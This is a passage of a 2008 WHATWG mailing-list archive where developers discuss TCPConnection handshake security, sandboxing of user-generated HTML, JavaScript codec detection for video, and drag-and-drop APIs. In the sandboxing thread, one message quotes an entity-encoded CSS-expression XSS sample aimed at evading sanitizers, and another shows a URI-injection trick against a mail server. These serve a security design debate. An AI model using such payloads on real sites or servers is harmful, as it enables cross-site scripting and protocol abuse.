    * the target host is not a valid host name, or
    * the port argument is neither equal to 80, nor equal to 443, nor 
greater than or equal to 1024 and less than or equal to 65535,

...then the UA must raise a security exception.
------------

>>> HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is 
>>> going to send back the appropriate handshake response.
>>>       
>> It is always possible that non-http services are running on port 80. One
>> logical reason would be as a workaround for strict firewalls. So the main
>> defense against abuse is not the port number but the handshake.
>>     
>
> Indeed, we would need to very carefully define exactly what the server 
> must send back, much like in the original protocol -- it would just look a 
> lot more like HTTP. This would include at least one custom header or value 
> that you wouldn't see elsewhere (e.g. the Upgrade: header with the magic 
> value).
>   
>> Since the script author can also inject URIs into the handshake this 
>> becomes a potential flaw.
>>     
>
> Indeed, we'd have to throw if the URI wasn't a valid URI (e.g. if it 
> included newlines).
>
>   

I agree. Since the aim of  the URI injection is to get an echo of a 
valid header it is important that the server response include illegal 
URI components that a server would not otherwise send. Newline could be 
part of a legitimate response from a confused server or one that echos 
commands automatically, eg:

tcp = new 
TCPConnection('http://mail.domain.ext/Upgrade:TCPConnection/1.0' )

server>>
Upgrade:TCPConnection/1.0
Error: Unrecognized command.

Unlike my previous example this is a perfectly valid URI. Whatever the 
magic ends up being it should aim to include illegal URI characters, ie: 
angle-brackets, white-space, control characters, etc.. in an arrangement 
that couldn't happen accidentally or through clever tricks. ie:

Magic: <tcp allow>\r\n

This example magic includes at least three characters that cannot be 
sent in a valid URI (space, left angle bracket, right angle-bracket) in 
addition to the newline and carriage returns.


>> One last thing. Does anybody know how async communication would affect 
>> common proxies (forward and reverse)? I imagine they can handle large 
>> amounts of POST data but how do they feel about a forcibly held-open 
>> by-directional communication that never calls POST or GET?
>>     
>
> That's basically what TLS is, right? The simple solution would be to just 
> tunnel everything through TLS when you hit an uncooperative proxy.
>
>   

Not with a few lines of perl you don't.

Shannnon

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/c1184f2f/attachment.htm>

From mikko.rantalainen at peda.net  Wed Jun 18 00:19:51 2008
From: mikko.rantalainen at peda.net (Mikko Rantalainen)
Date: Wed, 18 Jun 2008 10:19:51 +0300
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>	<48581A74.4030707@lachy.id.au>
	<31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
Message-ID: <4858B717.3030509@peda.net>

Frode B?rli wrote:
>>> I have been reading up on past discussions on sandboxing content, and
>>>
>>> My main arguments for having this feature (in one form or another) in
>>> the browser is:
>>>
>>> - It is future proof. Changes to browsers (for example adding
>>> expression support to css) will never again require old sanitizers to
>>> be updated.

Unless some braindead vendor is going to add scripting-in-sandboxing
feature which would be equally braindead to unlimited expression support
in css. You cannot be future proof unless you trust all the players
including ALL possible browser vendors.

>> If the sanitiser uses a whitelist based approach that forbids everything by
>> default, and then only allows known elements and attributes; and in the case
>> of the style attribute, known properties and values that are safe, then that
>> would also be the case.
> 
> I have written a sanitizer for html and it is very difficult -
> especially since browsers have undocumented bugs in their parsing.
> 
> Example: <div colspan=&amp;
> style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
> colspan=&amp;>Red</div>

Every real sanitizer MUST parse the input and generate its internal DOM.
If you then generate known good serialization of that DOM there's no way
your sanitizer would ever output such code. I, too, have written my own
simplified HTML parser that converts all unknown parts to data (that is,
escape all the following characters: "<>&'). Just parse the input into
DOM and only after that check if for safe content.

You cannot sanitize HTML using only string replacements without
generating a DOM (all of DOM is not needed in the memory at once, it's
possible to process the input as a stream and handle one tag at a time
and only keep a stack of open tag names in addition).

> The proof that sanitazing HTML is difficult is the fact that no major
> site even attempts it. Even wikipedia use some obscure wiki-language,
> instead of implementing a wysiwyg editor.

Wikipedia does sanitize HTML in the content. It does support its own
wiki-language in addition to HTML. For example, Try to input the
following text as is in the wikipedia sandbox page and press "Show preview":

***
>
> Example: <div colspan=&amp;
> style=font-family&#61;expression&#40;alert&#40&quot;hacked&quot&#41&#41
> colspan=&amp;>Red</div>

Some <b>more</b> content <i>here</i>.
***

Works just fine. The content is sanitized and unregognized parts are
converted to data. Correctly written parts are used as HTML tags.

Trust me, it's really not that hard. The hard part is to decide which
tags and which attributes and which attribute values do you want to
allow. And you have to decide that by yourself - there's no magic silver
bullet safe feature set that is suitable for every usage and for every site.

If you don't want to go through all this trouble, do not try to allow
HTML or any other markup in user generated content unless you *really*
trust your users.

>> Note that sandboxing doesn't entirely remove the need for sanitising user
>> generated content on the server, it's just an extra line of defence in case
>> something slips through.
> 
> Ofcourse. However, the sandbox feature in browser will be fail safe if
> user generated content is escaped with &lt; and &gt; before being sent
> to the browser - as long as the browser does not have bugs of course.

That's a pretty big "if". If the page author / server application
programmer is always able to escape content correctly, how much harder
is it to correctly escape and sanitize the content in anyway?

All this sounds too much like magic_quotes in PHP...

>>> A problem with this approach is that developers might forget to escape
>>> tags, therefore I think browsers should display a security warning
>>> message if the character < or > is encountered inside a <data> tag.
>> If a developer forgot to escape the markup at all, then a user could enter
>> "</data><script>...</script>" and do anything they wanted.
> 
> Yes, that is my point. That is why I want the sandbox to display a
> severe security warning if the developer has forgotten to escape it.

Isn't that a bit too late? If the developer is not testing his
application before the release what's the point of breaking the whole
site in the user's browser as a result? It will not guard against XSS
because the user generated content can be *first* used to end the
sandbox and *then* user to insert XSS attack. Browser sees only valid
content in the sandbox and site is still under XSS attack.

> This method will be safe for all browsers that has ever existed and
> that will ever exist in the future. If new features are introduced in
> some future version of CSS or HTML - the sandbox is still there and
> the applications created today does not need to have their sanitizers
> updated, ever.

That's a pretty bold claim! I guess that a similar claim could have been
said about CSS support before Microsoft added the "expression()" value
syntax.

Can *you* guarantee that a random browser vendor does not implement
anything stupid for the sandbox content in the future?

-- 
Mikko

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 254 bytes
Desc: OpenPGP digital signature
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/770cdc44/attachment.pgp>

From giecrilj at stegny.2a.pl  Wed Jun 18 00:59:25 2008
From: giecrilj at stegny.2a.pl (=?ISO-8859-1?Q?Kristof_Zelechovski?=)
Date: Wed, 18 Jun 2008 09:59:25 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <4858B717.3030509@peda.net>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>	<48581A74.4030707@lachy.id.au><31fb000f0806171512tbf900d7mb9e1173823d057b1@mail.gmail.com>
	<4858B717.3030509@peda.net>
Message-ID: <93FC0A4E53F945F5B5D0A5753DB8372A@POCZTOWIEC>

Let?s sort things out, folks.  There is nothing in the spec to prevent a
browser vendor to format the user?s hard drive and to drain her bank account
as a bonus when the page displayed contains the string "D357R0Y!N0\V!".  The
spec does not tell the vendors what not to do, therefore it cannot guarantee
anything in this respect.  The spec provides a reference implementation and
it is our job not to let harmful extensions in here; what happens in the
wild is beyond our control.
IMHO,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Mikko Rantalainen
Sent: Wednesday, June 18, 2008 9:20 AM
To: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

Frode B?rli wrote:
>>> I have been reading up on past discussions on sandboxing content, and
>>>
>>> My main arguments for having this feature (in one form or another) in
>>> the browser is:
>>>
>>> - It is future proof. Changes to browsers (for example adding
>>> expression support to css) will never again require old sanitizers to
>>> be updated.

Unless some braindead vendor is going to add scripting-in-sandboxing
feature which would be equally braindead to unlimited expression support
in css. You cannot be future proof unless you trust all the players
including ALL possible browser vendors.

[snip]

> This method will be safe for all browsers that has ever existed and
> that will ever exist in the future. If new features are introduced in
> some future version of CSS or HTML - the sandbox is still there and
> the applications created today does not need to have their sanitizers
> updated, ever.

That's a pretty bold claim! I guess that a similar claim could have been
said about CSS support before Microsoft added the "expression()" value
syntax.

Can *you* guarantee that a random browser vendor does not implement
anything stupid for the sandbox content in the future?

-- 
Mikko




From j at oil21.org  Wed Jun 18 03:01:13 2008
From: j at oil21.org (j at oil21.org)
Date: Wed, 18 Jun 2008 12:01:13 +0200
Subject: [whatwg] Javascript API to query supported codecs for <video> and
	<audio>
Message-ID: <1213783273.13118.29.camel@BlackBook>

Hi,

as it looks like there will not be a common base codec any time soon,
there is a need to be able to detect the supported codecs in javascript.
are there any plans to provide such an interface or is this already
possible?

j



From annevk at opera.com  Wed Jun 18 03:03:56 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 18 Jun 2008 12:03:56 +0200
Subject: [whatwg] Javascript API to query supported codecs for <video>
	and <audio>
In-Reply-To: <1213783273.13118.29.camel@BlackBook>
References: <1213783273.13118.29.camel@BlackBook>
Message-ID: <op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>

On Wed, 18 Jun 2008 12:01:13 +0200, <j at oil21.org> wrote:
> as it looks like there will not be a common base codec any time soon,
> there is a need to be able to detect the supported codecs in javascript.
> are there any plans to provide such an interface or is this already
> possible?

Why is that needed? The elements provide a way to link to multiple codecs  
of which the user agent will then make a choice.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From j at oil21.org  Wed Jun 18 03:18:27 2008
From: j at oil21.org (j at oil21.org)
Date: Wed, 18 Jun 2008 12:18:27 +0200
Subject: [whatwg] Javascript API to query supported codecs for
	<video>	and <audio>
In-Reply-To: <op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <1213784307.13118.41.camel@BlackBook>

?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote: 
> Why is that needed? The elements provide a way to link to multiple codecs  
> of which the user agent will then make a choice.
i do not intend to provide multiple codecs since that would require
multiple backend implementations for playing files form an offset,
encoding files in multiple codecs on the server, more disk space etc,

instead i would only use the <video> tag if the codec i use is supported
and fall back to other means via <object> / java / flash or whatever to
playback the video or indicate that the user has to install a
qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
can use <img> now and be done with it, but since this is not the case we
need tools to make the best out of <video>, not knowing what the browser
supports and just hoping that it could work is not an option.

j




From philipj at opera.com  Wed Jun 18 03:34:17 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Wed, 18 Jun 2008 17:34:17 +0700
Subject: [whatwg] Javascript API to query supported codecs
	for	<video>	and <audio>
In-Reply-To: <1213784307.13118.41.camel@BlackBook>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
Message-ID: <1213785258.17183.80.camel@localhost>

It seems to me that it's a good idea to wait with this until we know
more about what will happen with baseline codecs etc.
Implementation-wise it might be less than trivial to return an
exhaustive list of all supported mime-types if the underlying framework
doesn't use the concept of mime-types, but can say when given a few
bytes of the file whether it supports it or not. Allowing JavaScript to
second-guess this doesn't seem great 

On Wed, 2008-06-18 at 12:18 +0200, j at oil21.org wrote:
> ?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote: 
> > Why is that needed? The elements provide a way to link to multiple codecs  
> > of which the user agent will then make a choice.
> i do not intend to provide multiple codecs since that would require
> multiple backend implementations for playing files form an offset,
> encoding files in multiple codecs on the server, more disk space etc,
> 
> instead i would only use the <video> tag if the codec i use is supported
> and fall back to other means via <object> / java / flash or whatever to
> playback the video or indicate that the user has to install a
> qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
> can use <img> now and be done with it, but since this is not the case we
> need tools to make the best out of <video>, not knowing what the browser
> supports and just hoping that it could work is not an option.
> 
> j
> 
> 
-- 
Philip J?genstedt
Opera Software



From frode at seria.no  Wed Jun 18 03:34:46 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Wed, 18 Jun 2008 12:34:46 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <48588ABF.1010006@arc.net.au>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
Message-ID: <31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>

> without informing the user. This would allow a popular page (say a facebook
> profile or banner ad) to perform massive DOS against web servers using
> visitors browsers without any noticeable feedback (though I guess this is
> also true of current HTTPXMLRequestObjects).

XMLHttpRequest only allows connections to the origin server ip of the
script that created the object. If a TCPConnection is supposed to be
able to connect to other services, then some sort of mechanism must be
implemented so that the targeted web server must perform some sort of
approval. The method of approval must be engineered in such a way that
approval process itself cannot be the target of the dos attack. I can
imagine something implemented on the DNS servers and then some digital
signing of the script using public/private key certificates.

>  I propose that there be requirements that limit the amount and type of data
> a client can send before receiving a valid server response.

If the client must send information trough the TCPConnection
initially, then we effectively stop existing servers such as
IRC-servers from being able to accept connections without needing a
rewrite.

>  There should also be a recommendation that UAs display some form of status
> feedback to indicate a background connection is occurring.
Agree.

> > HIXIE.3) No existing SMTP server (or any non-TCPConnection server) is
> going
> > to send back the appropriate handshake response.

If TCPConnection is limited to connect only to the origin server, or
servers validated by certificates, then this will never be a problem.
If we take active measures against STMP, then we should do the same
against POP3, IMAP etc as well.

>  It is always possible that non-http services are running on port 80. One
> logical reason would be as a workaround for strict firewalls. So the main
> defense against abuse is not the port number but the handshake. The original
> TCP Connection spec required the client to send only "Hello\n" and the
> server to send only "Welcome\n". The new proposal complicates things since
> the server/proxy could send any valid HTTP headers and it would be up to the
> UA to determine their validity. Since the script author can also inject URIs
> into the handshake this becomes a potential flaw. Consider the code:

The protocol should not require any data (not even hello - it should
function as an ordinary TCPConnection similar to implementations in
java, c# or any other major programming language. If not, it should be
called something else - as it is not a TCP connection.


From philipj at opera.com  Wed Jun 18 03:38:39 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Wed, 18 Jun 2008 17:38:39 +0700
Subject: [whatwg] Javascript API to query supported
	codecs	for	<video>	and <audio>
In-Reply-To: <1213785258.17183.80.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
Message-ID: <1213785519.17183.84.camel@localhost>

Sorry, my reply was cut short. Again:

?It seems to me that it's a good idea to wait with this until we know
more about what will happen with baseline codecs etc.
Implementation-wise it might be less than trivial to return an
exhaustive list of all supported mime-types if the underlying framework
doesn't use the concept of mime-types, but can say when given a few
bytes of the file whether it supports it or not. Allowing JavaScript to
second-guess this seems like a potential source of incompatibility.
Isn't it sufficient to look for MEDIA_ERR_DECODE and add fallback
content when that happens?

Philip

On Wed, 2008-06-18 at 17:34 +0700, Philip J?genstedt wrote:
> It seems to me that it's a good idea to wait with this until we know
> more about what will happen with baseline codecs etc.
> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not. Allowing JavaScript to
> second-guess this doesn't seem great 
> 
> On Wed, 2008-06-18 at 12:18 +0200, j at oil21.org wrote:
> > ?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote: 
> > > Why is that needed? The elements provide a way to link to multiple codecs  
> > > of which the user agent will then make a choice.
> > i do not intend to provide multiple codecs since that would require
> > multiple backend implementations for playing files form an offset,
> > encoding files in multiple codecs on the server, more disk space etc,
> > 
> > instead i would only use the <video> tag if the codec i use is supported
> > and fall back to other means via <object> / java / flash or whatever to
> > playback the video or indicate that the user has to install a
> > qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
> > can use <img> now and be done with it, but since this is not the case we
> > need tools to make the best out of <video>, not knowing what the browser
> > supports and just hoping that it could work is not an option.
> > 
> > j
> > 
> > 
-- 
Philip J?genstedt
Opera Software



From joao.eiras at gmail.com  Wed Jun 18 03:57:51 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Wed, 18 Jun 2008 11:57:51 +0100
Subject: [whatwg] Javascript API to query supported codecs for <video>
	and <audio>
In-Reply-To: <1213785519.17183.84.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
	<1213785519.17183.84.camel@localhost>
Message-ID: <e72b1b360806180357j2b49b194pcd25c204e14021ce@mail.gmail.com>

The spec clearly says the following
http://www.whatwg.org/specs/web-apps/current-work/#video1
"User agents should not show this content to the user; it is intended
for older Web browsers which do not support video,"

Although we fully understand the reasoning behind this, there's an use
case missing.
The user agent may support video but might not support the file format.
So in this case, <video> should do fallback, because:
a) <video> tags are markup and therefore its error handling is not
available to scripts
b) the author may not want to use scripts, or may want to make the
page fully usable with scripting
c) it's a predictable scenario without any written solution


2008/6/18 Philip J?genstedt <philipj at opera.com>:
> Sorry, my reply was cut short. Again:
>
> ?It seems to me that it's a good idea to wait with this until we know
> more about what will happen with baseline codecs etc.
> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not. Allowing JavaScript to
> second-guess this seems like a potential source of incompatibility.
> Isn't it sufficient to look for MEDIA_ERR_DECODE and add fallback
> content when that happens?
>
> Philip
>
> On Wed, 2008-06-18 at 17:34 +0700, Philip J?genstedt wrote:
>> It seems to me that it's a good idea to wait with this until we know
>> more about what will happen with baseline codecs etc.
>> Implementation-wise it might be less than trivial to return an
>> exhaustive list of all supported mime-types if the underlying framework
>> doesn't use the concept of mime-types, but can say when given a few
>> bytes of the file whether it supports it or not. Allowing JavaScript to
>> second-guess this doesn't seem great
>>
>> On Wed, 2008-06-18 at 12:18 +0200, j at oil21.org wrote:
>> > ?On Wed, 2008-06-18 at 12:03 +0200, Anne van Kesteren wrote:
>> > > Why is that needed? The elements provide a way to link to multiple codecs
>> > > of which the user agent will then make a choice.
>> > i do not intend to provide multiple codecs since that would require
>> > multiple backend implementations for playing files form an offset,
>> > encoding files in multiple codecs on the server, more disk space etc,
>> >
>> > instead i would only use the <video> tag if the codec i use is supported
>> > and fall back to other means via <object> / java / flash or whatever to
>> > playback the video or indicate that the user has to install a
>> > qt/dshow/gstreamer plugin. in an ideal world i could use <video> like i
>> > can use <img> now and be done with it, but since this is not the case we
>> > need tools to make the best out of <video>, not knowing what the browser
>> > supports and just hoping that it could work is not an option.
>> >
>> > j
>> >
>> >
> --
> Philip J?genstedt
> Opera Software
>
>

From j at oil21.org  Wed Jun 18 04:10:37 2008
From: j at oil21.org (j at oil21.org)
Date: Wed, 18 Jun 2008 13:10:37 +0200
Subject: [whatwg] Javascript API to query supported codecs for
	<video>	and <audio>
In-Reply-To: <1213785519.17183.84.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
	<1213785519.17183.84.camel@localhost>
Message-ID: <1213787437.7248.8.camel@BlackBook>

On Wed, 2008-06-18 at 17:38 +0700, Philip J?genstedt wrote:
> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not. Allowing JavaScript to
> second-guess this seems like a potential source of incompatibility.
> Isn't it sufficient to look for MEDIA_ERR_DECODE and add fallback
> content when that happens?
i imagined something that would use the ?type string used in <source>
so i can do:
 canDecode('video/mp4; codecs="avc1.42E01E, mp4a.40.2"')
?or
 canDecode('video/ogg; codecs="theora, vorbis"')

while waiting for ?MEDIA_ERR_DECODE might be an option,
it sounds to me that that would involve a network connection being made,
the video being buffered and after that the media engine failing, this
takes to long to make a presentation decision based on it.

j



From hsivonen at iki.fi  Wed Jun 18 04:46:15 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Wed, 18 Jun 2008 14:46:15 +0300
Subject: [whatwg] Javascript API to query supported codecs
	for	<video>	and <audio>
In-Reply-To: <1213785258.17183.80.camel@localhost>
References: <1213783273.13118.29.camel@BlackBook>
	<op.ucxvkumv64w2qv@annevk-t60.oslo.opera.com>
	<1213784307.13118.41.camel@BlackBook>
	<1213785258.17183.80.camel@localhost>
Message-ID: <659A0E32-0188-4EE3-8CF9-6F678E35C31E@iki.fi>

On Jun 18, 2008, at 13:34, Philip J?genstedt wrote:

> Implementation-wise it might be less than trivial to return an
> exhaustive list of all supported mime-types if the underlying  
> framework
> doesn't use the concept of mime-types, but can say when given a few
> bytes of the file whether it supports it or not


Are MIME types the right way of identification in HTML5 if the well- 
known frameworks use something other than MIME types?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From hsivonen at iki.fi  Wed Jun 18 05:07:00 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Wed, 18 Jun 2008 15:07:00 +0300
Subject: [whatwg] vtab as an NCR expansion
Message-ID: <451CA8D0-E5C8-49BC-9096-6AC188BD88AA@iki.fi>

Is it intentional that the vtab change didn't cause a change to vtab  
treatment when expanding NCRs?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From shannon at arc.net.au  Wed Jun 18 05:50:00 2008
From: shannon at arc.net.au (Shannon)
Date: Wed, 18 Jun 2008 22:50:00 +1000
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>	
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
Message-ID: <48590478.6000403@arc.net.au>

Frode B?rli wrote:
>
> XMLHttpRequest only allows connections to the origin server ip of the
> script that created the object. If a TCPConnection is supposed to be
> able to connect to other services, then some sort of mechanism must be
> implemented so that the targeted web server must perform some sort of
> approval. The method of approval must be engineered in such a way that
> approval process itself cannot be the target of the dos attack. I can
> imagine something implemented on the DNS servers and then some digital
> signing of the script using public/private key certificates.
>
>   
Using DNS is an excellent idea, though I would debate whether the 
certificate is needed in addition the DNS record. Perhaps the DNS record 
could simply list domains authorised to provide scripted access. The 
distributed nature and general robustness of DNS servers provides the 
most solid protection against denial of service and brute-force cracking 
which are the primary concerns here. Access-control should probably be 
handled by the hosts usual firewall and authentication methods which is 
trivial once the unauthorised redirect issue is dealt with.

The biggest issue I see is that most UAs are probably not wired to read 
DNS records directly. This means adding DNS access and parsing libraries 
for this one feature. Having said that I can see a whole range of 
security issues that could be addressed by DNS access so maybe this is 
something that HTML5 could address as a more general feature. One 
feature that comes to mind would be to advertise expected server outages 
or /.'ing via DNS so the UAs could tell the user "Hey, this site might 
not respond so maybe come back later".

It is worth considering allowing scripts to access devices without said 
DNS rules but with a big fat UA warning, requiring user approval. 
Something like "This site is attempting to access a remote service or 
device at the address 34.45.23.54:101 (POP3). This could be part of a 
legitimate service but may also be an attempt to perform a malicious 
task. If you do not trust this site you should say no here.". This would 
address the needs of private networks and home appliances that wish to 
utilise TCPConnection services without having the desire or ability to 
mess with DNS zone files.

>
> The protocol should not require any data (not even hello - it should
> function as an ordinary TCPConnection similar to implementations in
> java, c# or any other major programming language. If not, it should be
> called something else - as it is not a TCP connection.
>
>   
I agree completely. Just providing async HTTP is a weak use case 
compared to allowing client-side access to millions of existing 
(opted-in) services and gadgets.

Shannon

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080618/5754064a/attachment.htm>

From hsivonen at iki.fi  Wed Jun 18 06:39:39 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Wed, 18 Jun 2008 16:39:39 +0300
Subject: [whatwg] Any "other" end tag in after head
Message-ID: <3FA51B37-2F60-43ED-AFEB-AA4C52D59D10@iki.fi>

After head talks about any "other" end tag, but has no definitions for  
end tags but "other". Is that intentional?

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From enndeakin at gmail.com  Wed Jun 18 07:46:20 2008
From: enndeakin at gmail.com (Neil Deakin)
Date: Wed, 18 Jun 2008 10:46:20 -0400
Subject: [whatwg] more drag/drop feedback
Message-ID: <48591FBC.4080902@gmail.com>

The initDragEvent/initDragEvent methods take a DataTransfer as an 
argument. Is it expected that the DataTransfer to use here can be 
created with 'new DataTransfer'?

IE and Safari allow a no-argument form of clearData as well which clears 
all formats.

The description for the 'types' property implies that this should be a 
live list. Why?

The clearData, setData and getData methods should clarify what happens 
if an empty format is supplied.

I still don't understand the purpose of the addElement method. Either 
this should be removed or there should be clarification of the 
difference between addElement and setDragImage

Previously, I said that DragEvents should be UIEvents. I think they 
should instead inherit from MouseEvent.

We have a need to be able to support both dragging multiple items, as 
well as dragging non-string data, for instance dragging a set of files 
as a set of File objects (see http://www.w3.org/TR/file-upload/) from 
the file system onto a page.

For this, we would also like to propose methods like the following, 
which are analagous to the existing methods (where Variant is just any 
type of object):

/**
* The number of items being dragged.
*/
readonly attribute unsigned long itemCount;

/**
* Holds a list of the format types of the data that is stored for an item
* at the specified index. If the index is not in the range from 0 to
* itemCount - 1, an empty string list is returned.
*/
DOMStringList typesAt(in unsigned long index);

/**
* Remove the data associated with the given format for an item at the
* specified index. The index is in the range from zero to itemCount - 1.
*
* If the last format for the item is removed, the entire item is removed,
* reducing the itemCount by one.
*
* If format is empty, then the data associated with all formats is removed.
* If the format is not found, then this method has no effect.
*
* @throws NS_ERROR_DOM_INDEX_SIZE_ERR if index is greater or equal than 
itemCount
*/
void clearDataAt(in DOMString format, in unsigned long index);

/*
* setDataAt may only be called with an index argument less than
* itemCount in which case an existing item is modified, or equal to
* itemCount in which case a new item is added, and the itemCount is
* incremented by one.
*
* Data should be added in order of preference, with the most specific
* format added first and the least specific format added last. If data of
* the given format already exists, it is replaced in the same position as
* the old data.
*
* @throws NS_ERROR_DOM_INDEX_SIZE_ERR if index is greater than itemCount
*/
void setDataAt(in DOMString format, in Variant data, in unsigned long 
index);

/**
* Retrieve the data associated with the given format for an item at the
* specified index, or null if it does not exist. The index should be in the
* range from zero to itemCount - 1.
*
* @throws NS_ERROR_DOM_INDEX_SIZE_ERR if index is greater or equal than 
itemCount
*/
Variant getDataAt(in DOMString format, in unsigned long index);



From foolistbar at googlemail.com  Wed Jun 18 09:46:28 2008
From: foolistbar at googlemail.com (Geoffrey Sneddon)
Date: Wed, 18 Jun 2008 17:46:28 +0100
Subject: [whatwg] Creating An Outline oddity
In-Reply-To: <Pine.LNX.4.62.0806150251410.6527@hixie.dreamhostps.com>
References: <DE7E6E4A-5C54-4C5E-898B-7B75E7B33FEF@googlemail.com>
	<Pine.LNX.4.62.0806150251410.6527@hixie.dreamhostps.com>
Message-ID: <A4327F89-D60B-420E-9403-326EBCEB77AA@googlemail.com>


On 15 Jun 2008, at 04:06, Ian Hickson wrote:

> On Sun, 15 Jun 2008, Geoffrey Sneddon wrote:
>>
>> Having implemented the creating an outline algorithm (see
>> <http://pastebin.ca/1048202>), I'm getting some odd results (the only
>> TODO won't affect HTML 4.01 documents such as the following issues).
>>
>> Using `<h1>Foo<h2>Bar<h2>Lol`, and looking at the final "current
>> section" (this is the root sectioning element, body), it seems I
>> correctly get the heading of it ("Foo"), but I only get one  
>> subsection:
>> "Bar". As far as I can see, my implementation follows what the spec
>> says, so it looks as if this is an issue with the spec.
>>
>> With HTML 5, the current_outlinee at the end is a td element, when it
>> should be the body element. That really is rather odd.
>
> I don't understand the markup you mean. Could you draw the DOM or  
> provide
> unambiguous markup for what you're describing? (I don't understand how
> "Foo" is a heading but "Bar" is a section in your markup.)

The first issue is identical to <http://lists.w3.org/Archives/Public/public-html/2008Mar/0032.html 
 >, which I bullied (sorry, asked) you in to fixing yesterday and is  
now fixed. The second issue was an implementation bug.


--
Geoffrey Sneddon
<http://gsnedders.com/>



From cartermichael at gmail.com  Wed Jun 18 12:09:05 2008
From: cartermichael at gmail.com (Michael Carter)
Date: Wed, 18 Jun 2008 12:09:05 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <48590478.6000403@arc.net.au>
References: <mailman.6069.1213752657.2753.whatwg-whatwg.org@lists.whatwg.org>
	<48588ABF.1010006@arc.net.au>
	<31fb000f0806180334x5ac90f18ia6b875457bae01f4@mail.gmail.com>
	<48590478.6000403@arc.net.au>
Message-ID: <3a05072b0806181209u35684c26kad82a4ff3d2503cb@mail.gmail.com>

>
> The protocol should not require any data (not even hello - it should
> function as an ordinary TCPConnection similar to implementations in
> java, c# or any other major programming language. If not, it should be
> called something else - as it is not a TCP connection.
>
>
>
>  I agree completely. Just providing async HTTP is a weak use case compared
> to allowing client-side access to millions of existing (opted-in) services
> and gadgets.
>
> Shannon
>
>
It's clear that we need some kind of opt-in strategy or all web viewers will
